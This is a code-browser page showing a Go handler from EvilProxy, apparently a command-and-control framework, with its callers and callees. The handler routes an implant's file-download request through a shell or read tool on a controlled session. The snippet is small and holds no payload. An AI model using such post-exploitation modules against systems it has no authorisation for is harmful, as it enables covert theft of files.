MCPcopy Create free account
hub / github.com/chainreactors/EvilProxy / Handle

Method Handle

internal/bridge/module_download.go:20–45  ·  view source on GitHub ↗
(ctx ModuleContext, sessionID string, taskID uint32, spite *implantpb.Spite)

Source from the content-addressed store, hash-verified

18func (m *DownloadModule) Name() string { return consts.ModuleDownload }
19
20func (m *DownloadModule) Handle(ctx ModuleContext, sessionID string, taskID uint32, spite *implantpb.Spite) {
21 dReq := spite.GetDownloadRequest()
22 if dReq == nil {
23 ctx.SendSpite(sessionID, taskID, execSpite("missing DownloadRequest"))
24 ctx.Tasks.Fail(sessionID, taskID, "missing DownloadRequest")
25 return
26 }
27
28 sess := ctx.WaitForSession(sessionID, DefaultSessionTimeout)
29 if sess == nil {
30 log.Warnf("[bridge] session %s not found for download injection", sessionID)
31 ctx.Tasks.Fail(sessionID, taskID, "session not found")
32 return
33 }
34 ctx.Tasks.StartSessionListener(sessionID)
35
36 shellTool := sessions.PickShellTool(sess)
37 if shellTool == "" {
38 // No shell tool: fall back to direct Read.
39 m.handleDirectDownload(ctx, sessionID, taskID, sess, dReq.Path)
40 return
41 }
42
43 // Probe file size, then decide strategy.
44 m.probeAndDownload(ctx, sessionID, taskID, sess, shellTool, dReq.Path)
45}
46
47func (m *DownloadModule) handleDirectDownload(ctx ModuleContext, sessionID string, taskID uint32, sess *sessions.Session, filePath string) {
48 toolName := sessions.PickReadTool(sess)

Callers

nothing calls this directly

Calls 6

handleDirectDownloadMethod · 0.95
probeAndDownloadMethod · 0.95
PickShellToolFunction · 0.92
execSpiteFunction · 0.85
FailMethod · 0.80
StartSessionListenerMethod · 0.80

Tested by

no test coverage detected